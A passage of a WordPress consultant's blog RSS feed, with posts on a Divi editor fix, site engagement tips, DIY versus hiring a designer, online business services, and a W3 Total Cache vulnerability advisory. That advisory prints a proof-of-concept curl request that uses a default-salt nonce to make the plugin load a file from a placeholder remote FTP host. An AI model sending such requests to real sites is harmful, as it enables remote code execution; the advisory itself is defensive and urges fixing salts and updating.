<h3>Builder Timeout with .htaccess fix</h3>
<p>In my case, it just spun perpetually. You may actually see the popup named “Divi Builder Timeout” that prevents you from using the editor.</p>
<p>Pop open the .htaccess file to tinker. The code below, added to .htaccess, will resolve this Divi glitch in Apache.</p>
<p><code></code></p>
<pre>SubstituteMaxLineLength 10M
</pre>
<h2>Back to the Future</h2>
<p>If all else fails, your problem may be a sophisticated interface blocked up by some line of problematic code. If your Divi install will not load in the editor experience, revert to using the more basic experience. Admin Dashboard &gt; Divi &gt; Theme Options &gt; Builder &gt; Advanced &gt; &#8220;Enable The Latest Divi Builder Experience&#8221; &#8211; disable this so that the older and more sturdy editor experience appears. Truthfully: I can&#8217;t see a difference. The new experience seems complicated and slow. Kick it old school instead.</p>
<p><img decoding="async" src="https://shawndewolfe.com/wp-content/uploads/2019/05/disable-latest-experience.jpg" alt="Disable the Latest Experience" /></p>
<h3>Too complex?</h3>
<p>If all of this is daunting, I can help &#8211; <a href="//clients.shawndewolfe.com/contact-us.html">Contact me for WordPress help</a>.</p>
<p>&nbsp;</p>
<p>The post <a href="https://shawndewolfe.com/blog-divi-editor-not-loading">Divi Loader Not Finishing Its Load</a> appeared first on <a href="https://shawndewolfe.com">Shawn DeWolfe Consulting</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Revitalize Your WordPress Site With 4 Simple Tricks</title>
		<link>https://shawndewolfe.com/blog-revitalize-your-wordpress-site-with-engagement</link>
		
		<dc:creator><![CDATA[Shawn DeWolfe]]></dc:creator>
		<pubDate>Mon, 27 May 2019 03:03:19 +0000</pubDate>
				<category><![CDATA[Web]]></category>
		<guid isPermaLink="false">https://shawndewolfe.com/blog-revitalize-your-wordpress-site-with-engagement/</guid>

					<description><![CDATA[<p>The company website has replaced the corporate hub of communications, marketing and sales efforts. As such, your website needs to set the right tone for your entire organization. Remember that your website is a place that people visit to learn more about you, what they should buy, and what they should know. Don’t waste your chance to make a great, first impression.</p>
<p>The post <a href="https://shawndewolfe.com/blog-revitalize-your-wordpress-site-with-engagement">Revitalize Your WordPress Site With 4 Simple Tricks</a> appeared first on <a href="https://shawndewolfe.com">Shawn DeWolfe Consulting</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Before the Web, the brochure reigned as the primary form of sharing information. It told your customers who you were and what you did. Information packed, multi-page, colourful and formally written: these were foisted on sales leads like candy. These static little artifacts all eventually ended up in a recycle bin.</p>
<p>That trusted brochure still has a place in your marketing mix, and by no means is it extinct. But it should no longer be “the” #1 sales and marketing tool in your organization. Today’s communication mediums are online and social. Adapt your style and approach accordingly.</p>
<p>The company website has replaced the corporate hub of communications, marketing and sales efforts. As such, your website needs to set the right tone for your entire organization. Best yet: with a web publishing tool like WordPress, all of your work can be reactive, adaptive and inform you about market trends as they happen.</p>
<p>Some businesses are not getting the message and thus, they let their website languish. One string of websites were stuck with an old install of Drupal. They couldn’t edit. They couldn’t even login. They let their best marketing tool fossilize. Other corporate sites are incomplete, outdated, off message, or communicate a lacklustre brand. Is yours one of them?</p>
<p>To shine some light on this important part of your business, here are the top four web tips that will get you looking at your website through the eyes of your customers:</p>
<p><strong>Tip #1:</strong> <strong>Look at your website as though you were a customer seeing your company online for the first time.</strong> Does your website communicate the image you want? Are you proud, really proud, of your company’s website? Does it tell you everything you want people to know about your company’s services and products? If you answered “no” to any of these questions, you really need to spend some time correcting these issues and getting your site into shape.</p>
<p><em>Hint: Use Google Analytics to check out people’s “Exit Pages” &#8211; those are the pages where customers land, but lose interest and browse away without taking any action. Take a look at the messages on those exit pages and read up on how to keep visitors engaged.</em></p>
<p><strong>Tip #2:</strong> <strong>Read your web content as though you were having a conversation with a customer.</strong> Web readers are browsing sites at record speeds so your content needs to be easy to digest, easy to read, and easy to navigate. The key here is ‘easy’. And remember to stay away from acronyms and complicated words. You don’t need to dumb things down, but you should ensure your customers don’t have to work for the information they’re seeking.</p>
<p><em>Hint: install the Yoast SEO plugin. It will take a read of your content and report back ways to improve your content.</em></p>
<p><strong>Tip# 3: Does your site tells a story about your company and your people?</strong> It really surprises me how so few companies provide an actual snapshot of their organization and offer a history of ‘why’ they’re in business. Your site provides a great opportunity to show off your organization and your amazing people. What better way to personalize your site and let people know what you’re all about? If you take the time to invite people into your organization, they will appreciate the personal touch.</p>
<p><strong>Tip #4: Really understand the purpose and intent of your site.</strong> Are you informing customers? Are you educating leads? Are you turning leads into sales? If you want to drive people to your site again and again, then you really need to have an engagement plan. Understand why they are there. Engage with your audience. A great way to do this is through a corporate blog or knowledge centre that provides timely and relevant content. Remember, your site is not all about you; rather, it should be strategically designed to give customers what they want from you. Don’t waste your chance to make an impression.</p>
<p>Remember that your website is a place that people visit to learn more about you, what they should buy, and what they should know. Don’t waste your chance to make a great first impression.</p>
<p>&nbsp;</p>
<p>The post <a href="https://shawndewolfe.com/blog-revitalize-your-wordpress-site-with-engagement">Revitalize Your WordPress Site With 4 Simple Tricks</a> appeared first on <a href="https://shawndewolfe.com">Shawn DeWolfe Consulting</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>DIY vs. Design</title>
		<link>https://shawndewolfe.com/blog-diy-vs-web-designer.html</link>
		
		<dc:creator><![CDATA[Shawn DeWolfe]]></dc:creator>
		<pubDate>Mon, 27 May 2019 03:03:19 +0000</pubDate>
				<category><![CDATA[Web]]></category>
		<guid isPermaLink="false">https://shawndewolfe.com/blog-diy-vs-web-designer/</guid>

					<description><![CDATA[<p>For over two decades, I have been paid to design websites, solve technical problems and give people advice about websites, web publishing and WordPress web design. Should you pay me? Should you do it yourself?</p>
<p>The post <a href="https://shawndewolfe.com/blog-diy-vs-web-designer.html">DIY vs. Design</a> appeared first on <a href="https://shawndewolfe.com">Shawn DeWolfe Consulting</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>For over two decades, I have been paid to design websites, solve technical problems and give people advice about websites, web publishing and WordPress web design. Should you pay me? Should you do it yourself? I cannot ask that question without recognizing my bias (ie. Pay me!). My North Star is ROI. When the fees overpower the returns, I start to question my role in a project. I ask, &#8220;should this be a DIY project?&#8221;</p>
<h2>Who should DIY their own site?</h2>
<p>Here&#8217;s a checklist of candidates for a DIY project vs. hiring a professional:</p>
<p><strong>Are you web savvy?</strong> If you are competent and understand FTP, WordPress, hosting, domains, SSL and responsive design&#8211; question why the work would leave your desk.</p>
<p><strong>Are you valuable?</strong> High paid professionals should hand over the web design work to someone else. Even if they are skilled, they should ask about the return on investment. Is hiring a designer for 50 hrs. of $90/hr. a better option than a DIY where they will forego 50-to-100 hrs. of their own paying work?</p>
<p>Does the technology matter? I like WordPress and Drupal is good too. There are lots of DIY website builders &#8212; Wix, Squarespace, Gator Builder, Nationbuilder. They are good allowing someone to belt out a design. WordPress is really strong when it comes to making a web site that is easy to find. If you have a captive audience, may be SEO isn&#8217;t the make-or-break element. Taken to an extreme: It would be overkill to develop an application for your site. Even WordPress may be overkill. One of the rolled-up services could suit you. Maybe a blank Bootstrap template could give you what you want.</p>
<p>DIY website are not meant to fulfill a long-term investment approach. They are there to publish ASAP at the expense of extensibility. They’re great when you need a website <em>really fast and really cheap</em>.</p>
<p>Not to mention—you’re gonna find yourself hitting your head against design &#038; functionality limitations. If the builder’s limitations hurt you at this point, they’re really gonna hurt you in the future when your business expands.</p>
<p>If you have more than a few weeks and over a couple thousand dollars to invest in your business, you should consider hiring a designer.</p>
<p>Yes, website builders give you all the tools to build the site of your dreams… but Microsoft Word gives you all the tools to write the next great American novel, and when’s the last time you did that?</p>
<p>You could spend 10 hours building your site. And then another 10 hours tweaking it. And then you may learn that your site is not working the way you wanted it to, or not portraying you as you’d like. You could have used that time elsewhere.</p>
<p>Need to sell things in a shop? Need to collect email addresses? Look classy &#038; elegant? Convince people to trust you with their data? The business of user experience is finnicky. When it matters, leave it to a professional who does this all day long.</p>
<p>There’s someone out there that knows how to make the tools do <em>exactly what you need to do</em>. A designer knows how to get to business goals through design elements including but not limited to: proximity, color, shape, and balance.</p>
<p>To summarize…</p>
<p><strong>Use a website builder</strong> when you need to get a website up quick and cheap.</p>
<p><strong>Use a website builder</strong> when you have a captive audience of readers who don&#8217;t need to discover you via Google or Bing.</p>
<p><strong>Hire a designer</strong> when they are cheaper than you.</p>
<p><strong>Hire a designer</strong> when you need to see a return on your website.</p>
<p>The post <a href="https://shawndewolfe.com/blog-diy-vs-web-designer.html">DIY vs. Design</a> appeared first on <a href="https://shawndewolfe.com">Shawn DeWolfe Consulting</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>W3 Cache Vulnerability through Salts &#8211; May 2019</title>
		<link>https://shawndewolfe.com/blog-wp-w3-cache-vulnerability-2019-html</link>
		
		<dc:creator><![CDATA[Shawn DeWolfe]]></dc:creator>
		<pubDate>Mon, 27 May 2019 03:06:08 +0000</pubDate>
				<category><![CDATA[Web]]></category>
		<guid isPermaLink="false">https://shawndewolfe.com/blog-wp-w3-cache-vulnerability-2019/</guid>

					<description><![CDATA[<p>W3 total cache had a remote code execution vulnerability come out yesterday. <a href="https://wpvulndb.com/vulnerabilities/9270">https://wpvulndb.com/vulnerabilities/9270</a></p>
<p>How does this work? The implementation of `opcache_flush_file` calls `file_exists` with a parameter fully controlled by the user.</p>
<p>The post <a href="https://shawndewolfe.com/blog-wp-w3-cache-vulnerability-2019-html">W3 Cache Vulnerability through Salts &#8211; May 2019</a> appeared first on <a href="https://shawndewolfe.com">Shawn DeWolfe Consulting</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>W3 total cache had a remote code execution vulnerability come out yesterday. <a href="https://wpvulndb.com/vulnerabilities/9270">https://wpvulndb.com/vulnerabilities/9270</a></p>
<p>How does this work? The implementation of `opcache_flush_file` calls `file_exists` with a parameter fully controlled by the user.</p>
<p>Proof of Concept</p>
<pre>curl 'http://x.x.x.x/wp-content/plugins/w3-total-cache/pub/opcache.php' 
--data 'nonce=974ca6ad15021a6668e7ae02e1be551c&amp;command=flush_file&amp;file=ftp://y.y.y.y:zzzz/'</pre>
<p>That nonce argument in the URL comes from a conversion of the default phrase, &#8216;put your unique phrase here&#8217; It&#8217;s akin to leaving your password as &#8220;password.&#8221;</p>
<p>Check your code. Is it exploitable? It is if someone can guess/steal a site&#8217;s salts. That is this bit in wp-config.php that needs to be set unique for each site:</p>
<p><code></code></p>
<pre>/**#@+
 * Authentication Unique Keys and Salts.
 *
 * Change these to different unique phrases!
 * You can generate these using the 
{@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
 * You can change these at any point in time to invalidate all existing cookies. This 
will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define('AUTH_KEY',         'put your unique phrase here');
define('SECURE_AUTH_KEY',  'put your unique phrase here');
define('LOGGED_IN_KEY',    'put your unique phrase here');
define('NONCE_KEY',        'put your unique phrase here');
define('AUTH_SALT',        'put your unique phrase here');
define('SECURE_AUTH_SALT', 'put your unique phrase here');
define('LOGGED_IN_SALT',   'put your unique phrase here');
define('NONCE_SALT',       'put your unique phrase here');
</pre>
<p>When you run the WP installer it sets these properly, (like the output of: <a title="set your WordPress SALT" href="https://api.wordpress.org/secret-key/1.1/salt/">https://api.wordpress.org/secret-key/1.1/salt/</a> ).</p>
<p>But if you make your wp-config.php by copying wp-config-sample.php and editing in database creds, it&#8217;s often a step that is skipped on the way to getting that dev site up as fast as possible. But this is super bad for security it turns out&#8230; because then any hacker can then &#8220;sign&#8221; their remote requests and WordPress will accept them. WordPress those salts to secure all remote requests.</p>
<p>In the case of yesterday&#8217;s W3 total cache disclosure, if you want to include some sketchy code and run it off a remote URL, all you then have to do is sign your URL with a valid nonce, then the RCE (remote code execution) bug can be triggered from anywhere. Automated exploits are probably already happening. if you see a site with &#8220;Just Another WordPress Site&#8221; as their decscription, it&#8217;s a decent bet that they didn&#8217;t check their salts. For all those sites, the same key will let you in the bug (and other WP functions) and so that is what they will attack first, by mass pwning sites via botnet.</p>
<p>This is a good wake up call for WordPress developers who write come, and WordPress deployment people who launch sites. Make sure you take that extra step, visit <a href="https://api.wordpress.org/secret-key/1.1/salt/">https://api.wordpress.org/secret-key/1.1/salt/</a> and set those salts.</p>
<p>You should also update W3 Total Cache to the latest 0.9.7.4 or above&#8230; though with salts in place you are safe from the vulnerability.</p>
<p>The post <a href="https://shawndewolfe.com/blog-wp-w3-cache-vulnerability-2019-html">W3 Cache Vulnerability through Salts &#8211; May 2019</a> appeared first on <a href="https://shawndewolfe.com">Shawn DeWolfe Consulting</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>11 Online Business Services (plus 2 bonuses)</title>
		<link>https://shawndewolfe.com/blog-11-business-services-plus-two.html</link>
		
		<dc:creator><![CDATA[Shawn DeWolfe]]></dc:creator>
		<pubDate>Mon, 27 May 2019 03:03:19 +0000</pubDate>
				<category><![CDATA[Web]]></category>
		<guid isPermaLink="false">https://shawndewolfe.com/blog-11-business-services-plus-two/</guid>

					<description><![CDATA[<p>Building a successful business is never easy, but there is absolutely no reason to make it any harder than it has to be. These eleven online services can take a lot of the repetitive work off your hands so you can focus on building success</p>
<p>The post <a href="https://shawndewolfe.com/blog-11-business-services-plus-two.html">11 Online Business Services (plus 2 bonuses)</a> appeared first on <a href="https://shawndewolfe.com">Shawn DeWolfe Consulting</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Building a successful business is never easy, but there is absolutely no reason to make it any harder than it has to be. These eleven online services can take a lot of the repetitive work off your hands so you can focus on building success:</p>
<p><strong>Dropbox</strong> (<a href="https://www.dropbox.com/">https://www.dropbox.com/</a>): More than just a cloud-based backup service, Dropbox has become a ubiquitous tool for file-sharing. With seamless integration with Windows, Mac, and both major mobile platforms it gives you access to the files you need on the machine you’re using.</p>
<p><strong>MailChimp</strong> (<a href="https://mailchimp.com/">https://mailchimp.com/</a>): Everyone says you need a mailing list; MailChimp gives you all the tools you need to manage one. Not only does it manage your list, it also provides tools to create your newsletter. Start with the free option and build up as your business grows.</p>
<p><strong>Foursquare</strong> (<a href="https://foursquare.com/">https://foursquare.com/</a>): Built around connections and geolocation, Foursquare not only helps draw local customers to your business, but also helps attract their friends. It leverages social networking to build customer relationships that can build your business.</p>
<p><strong>Freshbooks</strong> (<a href="https://www.freshbooks.com/">https://www.freshbooks.com/</a>): A wise man once said that billing is how your business eats; Freshbooks handles all your basic accounting needs from invoicing to payments and even sends out timely reminders to forgetful clients. Knowing where you stand with money is vital to any local business.</p>
<p><strong>Hootsuite</strong> (<a href="https://hootsuite.com/">https://hootsuite.com/</a>): From Facebook to Twitter, Instagram, and beyond&#8211; social media has changed the world. Hootsuite lets you manage all your social media from one dashboard, so you can maintain a consistent presence across all platforms and never worry about leaving one out. You can also use its analytics to monitor your social media performance. It handles Twitter well and Facebook so-so, but that&#8217;s because Zuckerberg&#8217;s walled garden has some issues.</p>
<p><strong>Square</strong> (<a href="https://squareup.com">https://squareup.com</a>): Never be caught out unable to take credit card payments again. The Square Reader plugs into your mobile device and instantly connects you to major financial networks. Make a sale anywhere you have a signal.</p>
<p><strong>GoToMyPC</strong> (<a href="https://get.gotomypc.com/">https://get.gotomypc.com/</a>): Remote desktop software is a key part of remote work; with GoToMyPC you can log into your computer at work from another machine and control it directly through a web browser. Since everything runs on the host machine, you don’t have to worry about getting extra licenses to use your business software from home.</p>
<p><strong>Shopify</strong> (<a href="https://www.shopify.com/">https://www.shopify.com/</a>): Your website can be more than just advertising; with Shopify you can turn almost any site into an e-commerce platform quickly and easily. All you have to do is follow the prompts to set up a storefront and load it with products.</p>
<p><strong>GoToMeeting</strong> (<a href="https://www.gotomeeting.com/">https://www.gotomeeting.com/</a>): When you can’t be there in person, video-conferencing software is the next best thing. A service like GoToMeeting lets you not only communicate but also collaborate in real time.</p>
<p><strong>Google Drive</strong> (<a href="https://www.google.com/drive/">https://www.google.com/drive/</a>): Don’t just share documents, collaborate on them. Google Drive gives you access to a full office suite in the cloud with multiple people able to work on the same document simultaneously.</p>
<p><strong>Tableau</strong> (<a href="https://www.tableau.com/">https://www.tableau.com/</a>): Lots of programs offer analytics, but Tableau gives you the ability to make the data you get from those analytics work for you. Plot geolocation data from multiple services onto a map; determine who is using your services, where they are, and when they are doing it. Take control of your data.</p>
<p><em>Thirteen is an unlucky number, so we’ll call these next two bonus resources: </em></p>
<p><strong>WordPress Support</strong> (<a alt="WordPress Support" href="/services/wordpress-web-maintenance.html">https://shawndewolfe.com/services/wordpress-web-maintenance.html</a>) : Many business websites run on WordPress, and all those sites need excellent support and maintenance. We can help!</p>
<p><strong>Performance Boosts</strong> (<a alt="WordPress Performance Boost" href="/services/wordpress-web-maintenance.html">https://shawndewolfe.com/performance/</a>): We can give you nine performance improving tips, and tweak your WordPress web design for better performance.</p>
<hr />
<p><em>Written by <strong>Dave Robinson</strong></em></p>
<p>The post <a href="https://shawndewolfe.com/blog-11-business-services-plus-two.html">11 Online Business Services (plus 2 bonuses)</a> appeared first on <a href="https://shawndewolfe.com">Shawn DeWolfe Consulting</a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
